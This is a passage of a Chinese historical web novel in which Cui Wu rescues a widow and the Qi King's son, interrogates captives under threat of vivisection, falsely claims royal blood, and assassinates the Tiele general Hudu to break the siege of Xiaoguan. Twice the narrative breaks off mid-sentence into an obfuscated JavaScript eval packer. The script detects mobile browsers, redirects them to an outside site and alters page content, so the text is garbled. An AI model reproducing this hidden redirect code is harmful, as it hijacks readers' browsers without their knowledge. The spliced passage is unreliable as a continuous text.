两人逆着溪流信步闲逛,忽听远处人马嘶鸣。两人对视一眼,极敏捷地藏身树后,循着暗影走出一两百步,就见三五轻骑涉水而过,当先一人将打好的绳套抡过头顶,套马似地抛出。 绳索绷紧,飞快后收,林中有人凄厉尖叫,被勾住脖颈生生拖出。 那人身量不高,披头散发,显然是个女人。紧跟着又扑出一个瘦小的影子,抓着绳套连哭带咬,赫然是个八九岁的男孩。 崔芜看向丁钰,两人飞快交换过眼神。 ——这是你在党项营地撞见的那对母子? ——八九不离十。 19. 第十九章 认亲 这一晚月色稀薄,借着溪水反射的一点微光,崔芜难以确认追捕汉人母子的轻骑是出自何方势力。 她沉吟片刻,向丁钰使了个眼色。后者心领神会,掉头就跑。 崔芜继续监视拿人的轻骑,只见他们并无伤害男孩之意,对那女人却没什么顾惜,放任要命的绳套缠在她脖颈上,不管不顾地催马疾奔。 女人被拖在地上,两眼翻白脸色青紫,眼看要窒息休克。 飞驰的奔马忽然停下,给了女人喘息空当。她挣扎着爬起身,就见不远处的树影中站着一道身影,纤细娇柔,依稀是个女子。刻意打散的长发遮住大半脸颊,被水光映亮的半边面孔莹白皎美,竟是世间罕见的绝色。 轻骑们看呆了眼,谁也没察觉这女子出现得蹊跷,只顾翻身下马,向那突然出现在林间的美丽女人逼近。 女人仿佛受到莫大的惊吓,往树影后一缩,飞快消失了。 轻骑们哪容到嘴的肉跑了?立刻追过去。然而那女子身形灵巧、行动敏捷,好似长于此间的精灵,看似触手可得,却总是差了那么一点点。 如此若即若离,反倒勾出男人心底的征服欲,连最警醒的斥候都未阻止。他们生出无言的默契,今晚一定要让这来历神秘的美丽女子在身下宛转呻吟。 崔芜跑得很快,夜风扬起鬓边长发,遮掩住右颊伤痕。她知道轻骑追在身后,却并不觉得害怕,反而生出异样的亢奋。 “李氏,到底是哪个李氏?”她一边奔逃,一边竟然还能分出精力,思绪如飞地盘算,“除了前朝李氏和后唐李氏,还有哪方割据姓李?” 不怪崔芜记性不好,实在是前朝末年叛乱频发,中央朝廷无力约束各地节度使,反而要示好拉拢,国姓不要钱似地往外批发,以李为姓的地方政权雨后春笋般占据了半壁江山。 突然,她的思绪被一截蜿蜒在灌木中的阴影拖回。 崔芜翘起嘴角,极自然地纵身跃过。身后轻骑几乎紧跟着追到,说时迟那时快,几乎与灌木融为一体的“阴影”猛地抬高,居然是一截绷直的草绳,当当正正绊了追兵一个狗啃泥。 追兵栽进灌木,也不知谁那么缺德,比着成人身量,在约莫靠近颅脑的位置摆了块石头。尖利的锐角磕中左眼,“砰”一下入肉两分,追兵嘶声惨叫,捂着伤处的指缝中渗出满把鲜血。 他的同伴却很机灵,当即止步,警惕环顾四周。奈何这一晚天气委实不好,仅凭一点稀薄的月影,实难看清周遭环境,反而被树影与鸟啼弄得草木皆兵。 “走!” 为首的追兵当机立断,唯恐林木深处潜藏着看不见的危险,宁可放弃同伴也要保全自己。 然而他刚一转身,锐风不期而至,仓促削成的木箭不够锋利,瞄准的却是人体薄弱的后颈。 惨叫与血花同时奓开,还站着的追兵只剩最后两人。 这二位显然不是什么血性悍勇的硬骨头,眼看最谨慎周全的队正都倒在敌人暗箭下,他们只以为己方行踪被极厉害的敌人看破,事先设下了天罗地网,非但没想着还击,反而脚底抹油,跑得更快。 然后被当头落下的大网捞了个正着。 那网也是用草绳编的,山里网野猪用的,其实不太结实。但慌了神的追兵一时想不到许多,更何况对方的杀招接踵而来——几个事先埋伏好的精壮男人从藏身处跳出,手里拿着碗口粗的棒子,当真如猎户打野猪似的,卯足力气就是一通胖揍。 寂静的林子里响起求饶的惨叫声,蹲踞树梢的夜枭歪着圆滚滚的脑袋,好奇地瞧着殴打同类的两脚生物。 不多会儿,动作麻溜的汉子们将几个轻骑依次绑好,用的是绑野猪的手法,四肢拴在身后,想挣脱也使不上力。 打完最后一个绳结,绑人的汉子相互看看,好似终于回过神。 再看向被绑成野猪一般,全无挣扎之力,只能胡乱哼哼的轻骑,汉子们简直有点不敢相信。 原来他们印象中不可战胜的外族精锐也能被打败。 原来凭借智谋和计策,如他们这般从未经过正规训练的乡野村夫,可以轻易放倒强大的敌人。 这一刻,口耳相传中被神魔化的外虏形象碎裂,汉子们打量轻骑的目光再不带畏惧。 崔芜却不知短短瞬息间,汉子们转过这许多念头,回头吩咐道:“来两个人去那边,将那对母子接来。这几个先分开审问,遇到嘴硬的交给我,我有法子让他们开口。” 她发号施令的语气太自然,透着令人信服的笃定从容。汉子们再生不出半点挑刺的心思,当下出来两人,往崔芜示意的方向搜去。 其他人七手八脚地拖起轻骑,各自寻了僻静角落问话。 不出崔芜所料,这几个是正规军出身,不比寻常匪寇,轻易能撬出口供。她旁听了几人问话,知道按常规套路问不出什么,于是摸出匕首,拨开灌木走过去。 她挑中的这位恰是被绳索绊倒的倒霉蛋,脸上伤口已然止血,眼珠却保不住了。他睁着仅剩的一只好眼,恶狠狠地盯着崔芜,显然已经发现袭击自己的敌人与想象中的“精锐”差了十万八千里远。 “你是哪一方的人?为何追击那对母子?你们到底想干什么?” 仅剩一只眼的俘虏冷哼一声,将头别向一边。 崔芜笑了笑,铿一声拔出匕首,冰冷刀锋拖过俘虏完好的右眼,他哆嗦着眨了眨眼:“我耐心有限。不怕告诉你,你们几个,我只打算留一个活口,谁生谁死,就看你们谁更识相。” 独眼俘虏目光闪烁,还是没吭声。 这时,阿绰快步走来,踮脚在崔芜耳畔装模做样地嘀咕了几句。 崔芜故作恍然,瞥了眼独眼俘虏:“原来他们是党项人。” 独眼俘虏忍不住看向她。 崔芜继续听阿绰“汇报”:“唔……那小郎君原来是已故歧王的独生子,我说怎地通身贵气。也是可怜,已故歧王遭部将背叛,幸有心腹部曲护着奶娘和少主逃出,谁知屋漏偏逢连夜雨,居然被党项人逮了回去。” “是打着奇货可居,挟天子以令诸侯的主意吗?” 独眼俘虏右眼越睁越大,再难掩饰惊愕。 “既然该知道的都知道了,留着其他人也没用,”崔芜转过身,用刀尖挑开俘虏衣襟,结实的皮肉上拖出一道血痕,就像剪刀划开布料那般丝滑,“对了,你知道什么叫活体解剖吗?” 这个术语超出了俘虏的认知,他茫然摇头。 “就是在人活着的时候,用刀划开胸腔和肚子,取出他们的五脏六腑,”崔芜笑眯眯地说,“听说人的心脏被取出胸腔后半个时辰后还能跳动,可从未有人亲眼见证。你是个硬汉子,待会儿剖开胸膛时可别叫得太惨,你知道的,我们汉人女子胆子小,不禁吓。” 她一边说着不禁吓,一边兴致盎然地拿刀比划。初见时惊为天人的面孔再次被月影照亮,这一回,俘虏清晰看见她右边面孔上未愈的刀痕。 他像是看到传说中的恶鬼,不受控制地惊呼起来。 崔芜似乎不喜欢听人惨叫,嫌弃地掏了掏耳朵,反握匕首用力刺下。刀尖入肉两分,十分微妙地停顿了一瞬,下一刻,她不出意料地听到男人嘶嚎:“我说!你想知道什么,我都告诉你!” 崔芜抿起嘴角。 鱼儿上套了。 通过方才几句简单问话,她已发现几个轻骑中,眼前的倒霉蛋是最沉不住气的,于是拉着阿绰,在这人面前演了一出好戏。 她知道党项人的容貌特征,早在打照面之际,就猜到对方来路。 与此同时,丁钰也盘问了那对侥幸捡回一条命的母子。他天生擅长套话,没两个回合就赢得孤儿寡母信任,顺理成章地套出对方来历。 已知的信息点构成用诈的基础,点睛的神来之笔则是“几人只能活一个,谁先开口谁走运”。 因为送上门的活命机会没人珍惜,可是当机会需要竞争时,它就变得值钱了。 囚徒困境,古今通用。 “我想知道的都知道了,”崔芜故意道,“你能告诉我什么?你还有什么信息,是对我来说有价值的?” 看得出来,独眼俘虏当真是绞尽脑汁想了。片刻后,他面露犹疑道:“我、我知道铁勒人的动向……” 他不知道这个消息于对方而言是否有价值,开口之后便颇为忐忑地觑着崔芜。那女子却不露声色,抵住胸口的匕首也未曾收起。 “铁勒人如何?说来听听。” 俘虏没瞧出端倪,泄气了:“我看见了铁勒人。他们派出两千轻骑,驱赶着汉人奴隶往南边去了……” 崔芜先是一愣:“往南边去做什么?” 话音骤顿,她领会到这句话背后的凶险意味,冷汗涔涔而下。 *** 相隔十来丈,林中另起一堆篝火,死里逃生的李氏母子坐在火边。丁钰满面笑容地将盛着溪水的竹筒架在火上烧沸消毒,冷却后递给神情憔悴的乳母。 “北方疫情盛行,有好些是经由水源过人,为防万一,夫人还是多饮煮沸的滚水。” 乳母道了谢,接过后浅浅尝了口,确认无害,立刻塞给怀中男孩。 连吓带累的男孩顾不得许多,仰脖喝得一滴不剩。 丁钰含笑道:“之前不知郎君竟是歧王骨血,真是失敬。家父昔年经商北上,曾有幸瞻仰歧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丁钰正与人客套,忽听身后有人道:“夫人不必客气,我与二郎既为姐弟,自当相互扶持。” 丁钰:“……” 等等亲,你跟谁是姐弟? 他与乳母对视一眼,发现彼此是如出一辙的困惑茫然,于是一起转过头,直勾勾地看向放下惊雷的那位。 崔芜面不改色:“好叫夫人知道,我虽随母姓崔,我母实为歧王外室,” “如今歧王一脉死伤殆尽,唯余我和二郎幸存。我为长姊,必会照拂幼弟,不叫父王泉下难瞑。” 丁钰已经说不出话。他自认脸皮不薄,但是如崔芜这般随口认爹,明目张胆地睁眼说瞎话,还是力有不逮。 只得甘拜下风。 乳母却也不是普通人,眨一眨眼便飞快回神:“娘子自称是先主血脉,可妾身为何从未听说?” 崔芜早有腹稿,瞎话张口就来:“我母出身低微,为奸人所害,流落楚馆多年,我亦在风尘之地长大。父王私下寻找我母女多年,却一直不得结果。直到一年前,我才见到父王派来的部曲,可惜母亲已经过世多年。” 乳母可没那么容易糊弄:“即便如此,先主为何从未向我提及?” 崔芜懒得与她打机锋,直截了当道:“夫人是怀疑我假冒歧王血脉?说句不客气的话,我冒充有何好处?嫌仇敌不够多,还是嫌命太长?” “夫人若不愿信我,我亦不勉强。只是乱世之中、风雨如晦,二郎是父王仅剩的骨血,如若就此夭折,来日九泉之下,夫人打算如何向父王告罪?” 乳母倏尔一凛。 她听懂了崔芜隐晦的威胁,这个“歧王遗女”有多少水分,她知道,崔芜也清楚。但对方甚至根本没想过掩饰这一点,因为此时此地,乳母没有别的选择。 不认下这个便宜姐姐,又能如何? 他们孤儿寡母、身无钱财、部曲死尽,前有伪王追杀,后有党项捉拿,早已走投无路。若是崔芜撒手不管,他们能去哪里,又能苟活多久? 权衡利弊,认下崔芜竟是如今最好的选择。 哪怕对方打着如党项一般的念头,至少她是汉室血脉,又是个女人,总不可能撇开郎君自立门户。 若崔芜只是嘴上厉害,乳母大可暂且应下,事后再寻机脱身。但若对方真有能耐,说不定、说不定郎君能借着这盘东风,夺回先主辛苦打下的基业。 种种思量只在瞬息间,不过一眨眼,她已做出抉择——拎裙跪倒,郑重下拜。 “有生之年得见郡主,实乃郎君与妾身之幸,”乳母低低俯身,用额头触碰手指,“日后,郎君便托付郡主照拂了。” 20. 第二十章 擒王 崔芜拉着丁钰走到一边,后者还没从对方的神来一笔中回过神。 “那对孤儿寡母要钱没钱、要权没权,”他毕竟在乱世生存数月,该见识的都见识了,稍一思忖便将崔芜用意猜得八九不离十,“最值钱的就是所谓的‘歧王血脉’。” “所以,你强行认亲,是想拉大旗扯虎皮?” 如果条件允许,崔芜不介意对丁钰详述自己的用意和规划,可惜时间有限,容不得细细分说。 “我们得立刻启程,”崔芜脸色严峻,“那几个党项轻骑说,铁勒人将中原百姓带走了。” 丁钰历史没学好,政治敏感度难免差一些:“带走了?带去哪?互市都被那姓颜的小将军搅了个天翻地覆,想卖奴隶也没地方出手啊?” 崔芜:“铁勒人不是想卖了他们,他们是想拿中原百姓当肉盾,叩开中原城关。” 丁钰意识到严重性,脸色跟着变了:“卧槽!” 崔芜忽略了他突然爆出的粗口,熟门熟路地勾勒出自河套至关中的地势舆图,又用几根带箭头的线绘出一条路径。 宁夏,陕西。 “这里是后世的宁夏固原,但在这个时空,它的名字叫做——萧关。”崔芜徐徐道来,“它是关中西北方向的重要关口,抵挡住来自陇西的外敌。西汉文帝十四年,匈奴单于曾率十余万骑越过萧关,一路侵入陕西陇县,焚烧回中宫。” 丁钰试着理顺思绪:“可你不是说,关中向来是歧王地盘?如今先歧王被副手干掉了,新上位的伪王又是个只会窝里横的孬种,谁能挡得住铁勒人?” 崔芜无法回答,她功课做得再足,也从未涉足这个时空的关中,回答不了这个问题。 她能做的,只是将险恶的局势告知同伴,然后立刻动身,星夜兼程赶往萧关。 他们有马,数量却有限,仅靠两条腿,又有妇孺同行,难免拖慢节奏。崔芜虽忧心,却没有更好的办法,只能在脑中反复思量可能发生的最糟糕的结果。 比方说,她从一开始就猜错了,铁勒人的目标根本不是萧关。 再比方说,她虽猜对目标,却因脚程迟缓,赶到时只来得及看见失守的城关与满地尸骸。 如果真出现上述情况,崔芜虽痛心愤慨,倒也不至于太意外,毕竟条件摆在那儿,两条腿赶不上四条腿。 但她没想到,因为队伍里多了许多中原百姓,铁勒轻骑的行军速度被大幅拖慢。 正因如此,当崔芜带着一帮精壮汉子抄近道赶到萧关城下时,铁勒人居然只比他们早到半日。 号角吹响,攻城战事正式打响,冲向城关的却并非手举长刀的胡骑,而是拖家带口、满面风尘的中原百姓。 他们好不容易迈过疫病的阴霾,转眼又卷入血肉纷争的战事,被外族的刀兵和弩箭驱赶,别无选择,只能一边相互搀扶,一边大声哀求守城将领开门,容自己进城躲避。 回应他们的是一片死寂,以及搭上弓弦的冰冷箭簇。 远处高地上,汉子们目睹此景,心脏高高提起,仿佛被铁勒人驱赶羊群一般推去攻城的是自己。 “守城将领会怎么做?”丁钰问出所有人的疑惑,“他们……会开门吗?” 崔芜垂眼:“如果是我,不会。” 丁钰睁大眼。 崔芜语气淡漠:“慈不掌兵,一军统帅不能考虑敌人的安危,如果他因为怜悯敌军而打开城门,紧随其后的铁勒精锐就会趁机冲进城关,屠刀斩落,收割的便是他麾下将士与城中百姓性命!” 有人结结巴巴:“可、可那些都是汉人!是咱们自己人啊!” 崔芜面无表情:“当他们被铁勒人逼迫冲关时,就成了‘敌人’。” 质疑之人语塞,表情似有不服。可没等他想好如何反驳,城头箭矢密雨般砸落,不过眨眼,冲在最前面的百姓倒了一片。 汉子们目瞪口呆,不说话了。 近在眼前的鲜血和死亡让百姓们慌了手脚,他们本能往回跑,又被铁勒人赶了回来。 身前是收割性命的箭雨,身后是斩落人头的刀兵,他们奔逃无路、呼救无门,被生生卡死在两国交锋的战场。 丁钰这辈子从未这么无力过,哪怕被铁勒人绑在木桩上当箭靶戏耍,好歹有崔芜从天而降,将他救出生天。 但这是两军对垒,拼的是兵力、战备与自身武艺的高低,容不得一丝一毫投机取巧。 个人的智谋与小聪明,在这种场合下没有任何用武之地。 丁钰咬住唇角,汉子们也攥紧拳头。眼前的屠杀让他们想起自己死于胡人刀下的至亲,谁也不愿回忆平生大痛,就要挪开视线。 崔芜却道:“抬起头,都看清楚了!” “他们沦落至此,是因为自身弱小,手无重锋,身无长物,只能任人鱼肉,”她声音低缓,却字字清晰,“我们能苟存至今,不是因为我们比他们强大,而是我们更幸运。” “但一个人不会一辈子走运,所以我要你们看清这一幕,然后牢牢记住它。” “如果不想沦为被人屠戮的羊,遭人驱使的犬,就必须尽快变强,在乱世中站稳脚跟。” “只有这样,才没人敢打你们的主意!” 崔芜是个罕见的美人,但这一刻,在血色与刀光的衬托下,她给人最直观的感受不是“美”,而是近乎残酷的“坚冷”。 像磐石一样坚毅,像祁连山巅的万年冰川一般不可撼动。 众人认识她多日,被那双冰冷的眼逼视着,头一回生出喘不过气的错觉。 然后,他们听到城门开启的声响。 城头箭雨未曾停歇,紧闭的城门却忽然动了,随着城栓寸寸拉动,虎视已久的铁勒人露出贪婪的神色。 然而城门后并非不设防的千里沃野,而是冰冷的铠甲与雪亮的刀锋。 一队骑兵冲出城关,为首者是一名银甲将领,长枪横扫逼退胡骑,幸存的百姓得了喘息机会,不顾一切地奔向城门。 铁勒人却不容到嘴的鸭子就这么飞了,立刻驱马冲锋。但那银甲将领颇有两把刷子,麾下兵力虽不多,统共三五十人,却爆发出惊人的战力,恰如一道小小堤坝,挡住来势滚滚的汹涌怒流。 崔芜心念微动,忽然道:“六郎。” 丁钰不安地看向她。 依据过往经验,每当崔芜正正经经唤他“六郎”,随之而来的都不是什么好事。次数多了,他简直要形成应激反应。 这回也不例外。 “我有个想法。”崔芜附在他耳畔嘀嘀咕咕一通,后者先是错愕,然后匪夷所思地收紧眼瞳。 “你为什么每次都能想出这么玩命的点子?”丁钰一言难尽地看着崔芜。 后者神色坦然:“富贵险中求,没有豪赌哪来功成名就?” 她瞪他:“去不去?” 丁钰翻了个白眼,认命地干活去了。 *** 银甲将军是少见的悍将,铁勒人却也不是吃素的,即便一开始没反应过来,也很快回过神,集合优势兵力合拢包抄,令守城军落入下风。 银甲将军毫不慌乱,不管敌军如何冲击,依然保持阵型不变,在城头箭雨的掩护下从容后撤。 双方都打出火气,好似两头撕咬一处的凶兽。一时间,铁勒人无法冲入城关,守城军也不能击退外敌。 犬牙交错间达成微妙的平衡。 直到那一股滚滚烟尘从高处冲下,以无知者无畏的姿态冲进短兵相接的战阵。 那不是演义话本中夸张的形容,而是真的烟尘开道——冲在最前面的两骑一边催马疾驰,一边扔出搓圆的土块,混杂其中的白磷爆出烟雾,同时炸开的还有胡椒和木刺。 铁勒人便如当日的党项军一样,猝不及防中了招,眼睛还没揉利索,突然杀出的不速客已然冲过身侧。 离得近的尚且如此,离得远的更是什么也看不清,依稀只见玄色铠甲一掠即过。 与此同时,那帮人扯着嗓子高呼:“安西军在此!胡虏还不授首就戮!” 铁勒士卒:“……” “安西军”这个名号不是一般的如雷贯耳,霎时间,胶着激烈的战场好似摁下暂停键,铁勒人也好,守城军也罢,不约而同地打了个磕绊。 趁着这个空当,突然杀出的神秘势力冲过铁勒军阵,堪堪逼近守城军一方。 “愣着干什么,”冲在最前头的男人咆哮,“还不进城!” 银甲将领恍然省悟,立刻打出“撤退”的手势,余光却盯着那不知来历的年轻男人。 那人瞧着骨肉单薄身板瘦弱,光是一身铠甲就压得他抬不起头,怎么看都不是冲锋陷阵的料。 倒是他旁边的汉子,挥舞长刀开路,动作纯熟万夫莫当,一看就是通晓武艺。尤其身板精壮臀力过人,稍加磨练,必是悍将的好苗子。 最要紧的是,铁勒人看不清楚,他却瞧得分明,这帮人根本不是什么“安西军”——甚至于,只打头三五人穿铠甲骑战马,那铠甲还是用不知哪弄来的劣质颜料染黑的,冲锋不到一半就开始褪色。 后面十来人更不讲究,有两人共乘一骑的,也有拿骡子充数的。值得探究的是,马尾和骡尾上系了树枝,居高俯冲时掀起滚 滚烟尘,轻易蒙蔽了视野,竟让久经战阵的铁勒人也栽了跟头。 “有意思,”银甲将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515798|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军默不作声地想,“这些人分明是乡野村夫,却能想出这样的计策,还胆大包天地做成了,背后定有高人指点。” “若能收为麾下,日后必为一大臂助。” 出于种种考虑,他默许了这些人随他退入城中。 厚重城门吱呀合拢,将冲天而起的烽烟与战乱挡在城外。 *** 计策是崔芜想的,战马和铠甲是从党项轻骑手中缴获的,骡子和黑色染料是赶路途中忙里偷闲,用皮毛和肉干跟偶遇的行商换得的。 她将冲阵的任务交给最孔武有力的延昭,告诫他们不必硬碰硬,只需先声夺人地唬住铁勒人,争取到足够的时间撤退即可。 她自己则安排乳母和歧王遗孤藏身附近山林中,然后静待天黑。 一个时辰后,夕晖沉落,暮霭降临。崔芜用灰土涂抹脸颊,再打散头发,做出连日逃命形容狼狈的模样,而后独自前往铁勒军营。 这于其他人是极冒险的事,对崔芜来说却十分简单。因为之前疫情肆虐,她时常出入军营诊病,铁勒人对她并不陌生,甚至于对这位救人无数的汉女郎中颇有好感。 这就为崔芜的计划增添了两分把握。 事情发展一如所料,巡逻的士卒认出崔芜,惊讶于她的出现,立刻回禀主将。一刻钟后,崔芜被带进帅帐,见到了此次领兵的将领。 不出所料,是耶律璟帐下第一猛将胡都。 胡都正为日间的战事失利烦恼,更担心安西军是否真的前来救援。突然见了崔芜,心中难免惊讶,更多则是警惕:“你怎会在此?” 崔芜欲言又止,迟疑地环顾左右。 胡都与崔芜相识日久,知道她就是个寻常女子,手无缚鸡之力,并不如何放在心上。手一挥,左右亲兵立即退出帐外。 崔芜酝酿了下情绪,猛地扑到胡都脚下,哽咽道:“将军救命!党项人狼子野心,竟勾结安西军偷袭营地。耶律将军身负重伤,还请将军救命!” 胡都大惊:“什么?你说清楚,到底怎么回事!” 崔芜哭诉:“禀将军,小女奉耶律将军之命入党项营地诊治疫病,不料意外发现党项人与河西使者暗通款曲。小女心知不妙,设法与耶律将军报信,谁知党项人丧心病狂,竟假借答谢之名送我归营,实则引安西军在后。” “党项与安西军夹击营地,耶律将军寡不敌众,命人速寻将军报信。亲兵途中却遭遇党项轻骑截击,除了小女,其余人等皆遭不幸。唯我一人逃出生天,有幸见到将军。” 崔芜演技一流,更要紧的是,她这番话还不完全是瞎编捏造,说来格外有说服力。 然而胡都外粗内细,没那么容易轻信:“党项与铁勒一向交好,怎会无缘无故翻脸?将军就算派人送信,又怎么会让你一个女人跟着?” 他怀疑崔芜使诈,拔出腰刀虚虚斩落:“营地到底发生了什么?还不说实话!” 刀风过耳,崔芜却面不改色——她和胡都认识不是一两天,对方知道她是什么尿性,装可怜装柔弱那套,对胡都不管用。 “小女说的都是实情!”崔芜做情急声辩状,“当时情况危急,耶律将军身边只有小女和两三亲兵。小女不通武艺,留在营地只会坏事,因此跟出来报信。” 她仿佛想到什么,从怀中摸出一截断箭,双手捧与胡都:“小女记得,那安西军的将领自称颜适,是个十五六岁的少年郎。这断箭则是途中遇袭时捡到,出自党项轻骑之手。” 安西军有名叫颜适的将军吗?当然有,还是他自己报出的姓名。唯一的出入在于,他袭击的并非铁勒军营,而是党项驻地。 崔芜拿出的断箭也的确是党项人所有,箭为木制,长数寸,箭簇分三尖,是非常典型的党项兵器。 虽然崔芜没有拿出实质性的凭证,但所有细节都对上了,由不得胡都不信。 他一边去接断箭,试图拿近细看,一边问道:“耶律将军还说了什么?” 崔芜正欲答话,突然露出痛苦的神色,单薄身形晃了晃,毫无预兆地一头栽倒。 这并不奇怪,她本是孱弱女流,又经过长途跋涉仓皇逃命,身体撑不住也是情理之中。 胡都承她救命之恩,心中颇有好感,十分自然地扶了把。 然而下一瞬,那看似面色苍白、气息微弱的女子倏尔睁眼,出手极快地捂住胡都口鼻,袖中寒光闪动,迅雷不及掩耳地往前一探。 胸口奓开剧痛,胡都难以置信地低下头,就见要害处插着一把匕首,直没至柄。 这是崔芜计划的最后一步。 擒贼先擒王。 最有效的手段,往往是最简单粗暴的。 21. 第二十一章 入关 胡都对中原人没好感,如果换成别的中原女子站在面前,再美再娇弱他也不会完全放松警惕。 但崔芜是例外。 第一次见面,她主动请缨替他疗治箭伤,精湛的医术和过人的胆识软化了他心目中“汉人皆废物”的成见。 第二次见面,她为治疗疫病夙夜不寐,一力将营中死亡率降到最低,弥合了汉人与铁勒之间世代为仇的鸿沟。 第三次见面,她被党项人刁难,他出面解围,她感恩道谢。 如此三番下来,即便是死仇也能生出些许惺惺相惜的情谊,何况胡都与崔芜无冤无仇,草原人又最是恩怨分明,心里认可接受了,便提不起多少提防。 所以他做梦也没想到,有朝一日会从崔芜手中接过致命的毒刃。 “你我无冤无仇,”崔芜死死捂住他口鼻,将所有闷呼声堵在掌心里,“但你掳我百姓,破我城池,便是我的敌人。” “对敌人,不死不休。” 胡都眼中喷出怒火,他想愤怒咆哮,想推开崔芜,却再也做不到。 没人比医学生更清楚五脏六腑的位置,方才那一刻,崔芜与胡都的距离太近了,她毫不犹豫地取中心脏。 萧二所赠的匕首异常锋利,轻而易举刺穿心包。血液迅速填充心包腔,造成急性心包填塞。如果是在现代,这时候就该进行心包穿刺,排血减压。 然而这里是古代,唯一知道如何急救的人,正是刺出这致命一刀的凶手。 急性心包填塞会令患者出现活动性气短、心悸,以及呼吸困难,胡都说不出话,推搡崔芜的动作亦是软弱无力。 后者顺势拔刀,鲜血飞溅而出,落满胸口和脸颊。她抬袖抹了把脸,看着濒死的胡人将军。 “这不是你一个人的错,”出乎意料地,崔芜眼中并无忿恨,有的只是局外人的冷静与悲悯,“但我没有更好的办法,这一切的后果只能由你承担。” “只有你死了,萧关之围才有可能解除,战事才能结束。” 飞逝的血液带走了体力与生命,胡都口鼻溢血,颤抖着指住崔芜,半晌头一歪,就此没了气息。 崔芜闭目呼出一口气,伸手搭上胡都圆睁的双眼,轻轻合拢。 看在当初党项互市,对方为自己解围的人情份上。 崔芜可以孤身刺杀敌军主帅,却无法凭一己之力全身而退。她做完了自己能做的,接下来要看同伴是否给力。 她没有等太久,约莫两刻钟后,帐外传来异样的动静。 崔芜侧耳细听,分辨出刀兵与战马嘶鸣,还有铁勒人声嘶力竭的呼号—— “中原人!是中原人袭营!” “别慌,把弓箭手都调来!” “将军呢?快去禀报胡都将军!” 杂乱的脚步声奔着帅帐而来,崔芜早有准备,仗着身量纤瘦,动作轻巧地藏进胡床底下。 下一瞬,亲兵飞奔入帐,看清倒在血泊中的胡都,顿时呆在原地。 “将军!” 他手脚并用着扑上前,试图堵住胡都胸口刀伤,然而血液已然开始凝固,显然断气有一阵子。 亲兵震惊且茫然,愤怒又慌乱:中原守军趁夜袭营,将军却在这时遇刺,该怎么办? 没等他想好对策,帐外再次传来呼喝:“胡都已死!尔等即刻放下武器,缴械不杀!” 铁勒人却不信,与之愤怒对骂:“胡说八道!” “将军好好的,别听中原人扰乱军心!” “等着吧,我们将军马上就到!你们这些两脚羊,都得把脑袋留下!” 但是呼喝声从四面八方传来,裹挟在飘摇不定的夜风中,仿佛索命的妖鬼悲泣。铁勒人久久不见主帅露面,心中不安,一个颇受胡都信赖的副都统快步冲进帅帐,随即步了亲兵后尘,目瞪口呆地怔在原地。 但很快,他回过神,揪住亲兵衣领怒吼:“谁干的?这他妈谁干的!” 亲兵无法回答,茫然摇头。 副都统不甘心,飞快搜寻过帐内,发现某个隐蔽的角落处,毛毡被利器划出一道裂痕,刚好容一人侧身通过。 事发突然,他不及细想,下意识相信了第一判断:“刺客一定是从这里逃走的!来人,封锁全营,一定要把人找出来!” 可他忘了,如今的大营已经无法封锁,中原守军倾巢而出,正不遗余力地冲击营盘。 当然,中原军人数不多,换作往常,击退并不困难。但此时此刻,铁勒主将遇刺帐中,无人发号施令。 群龙无首又骤遇强敌,结果只有一个。 半个时辰后,铁勒军退走,中原守军占据营盘。为首的银甲将军翻身下马,环顾狼藉驻地,第一句话就是:“可有俘虏战马?” 铁勒人退得匆忙,确有部分战马军械未及带走。但是对于死活非要跟着来的丁钰而言,这些都是无关紧要。 “丫头?丫头!” 他没头苍蝇似地四处乱转,瞧着被火箭烧得只剩残垣断壁的营帐,一颗心险些迸出腔子:“姓崔的,还活着吗?活着就吱一声,别他娘的吓唬人!” 他连喊几声不见人答应,脸都吓白了,干脆掖紧袍角,蹲在烧塌半边的废墟前空手挖起来。忽听“哗啦”一下,焦黑的营帐残骸倒了大半,后面咳嗽两声,钻出一个满面黑灰的人影。 “吱——” 丁钰猛地抬头,将那面目全非的女人一把拉到近前,抬袖在她脸上一通乱擦。 崔芜被抹得喘不过气,脸上更是刀割似的疼,忙嫌弃地推开他:“行了!你跟我有多大仇?脸皮都要蹭掉了。” 话没说完,丁钰胳膊一收,将人用力搂进怀里。 崔芜不易察觉地一僵。 只听丁钰在耳畔恶狠狠地说道:“下回再敢拿自己小命开玩笑,信不信我、我……” 崔芜正满心不自在,听到这里却顾不得了,好奇这小子能憋出什么屁来:“你就怎样?你能怎样?” 丁钰想了半晌,终于咬牙切齿地憋出一句:“我就把燧发火枪的图纸私吞了,不给你看!” 崔芜:“……” 她一双眼瞬间瞪圆,眼珠险些挣脱出来:“你会设计燧发火枪?!” 姓丁的背起手,尾巴好悬翘到天上去。 崔芜恨不能立刻将这小子摁地上,逼他将火枪图纸默画出来,身后就在这时传来一声咳嗽。 两人回头,只见银甲将军将缰绳交给亲兵,抬眸似笑非笑看来。 丁钰干咳两声,想起崔芜如今的“身份”,刻意理了理袍袖,而后后退半步,郑重作揖。 “容小人为郡主引荐,”他装模做样起来还挺像那么回事,“这位是原镇野军龙骧营果毅都尉,狄斐,自锦成。” 银甲将军摘下头盔,阳光洒落面庞,右颊处的靛青黔纹格外清晰。 *** 一个时辰后,打扫干净战场的镇野军返回城关,崔芜与丁钰亦在其列。 崔芜刻意留心,发现这支轻骑人数约在三百上下,比之昔日镇野军远远有所不如,便知狄斐这个果毅都尉约莫是真的,但他麾下这支轻骑不过是打着镇野军旗号,早不是当初纵横关中的镇边强军。 而且,他们对崔芜的态度十分微妙。 客气固然是客气的,毕竟铁勒军痛快退兵,归根究底还是因为主帅遇刺、群龙无首,而这一切都是崔芜造成的。 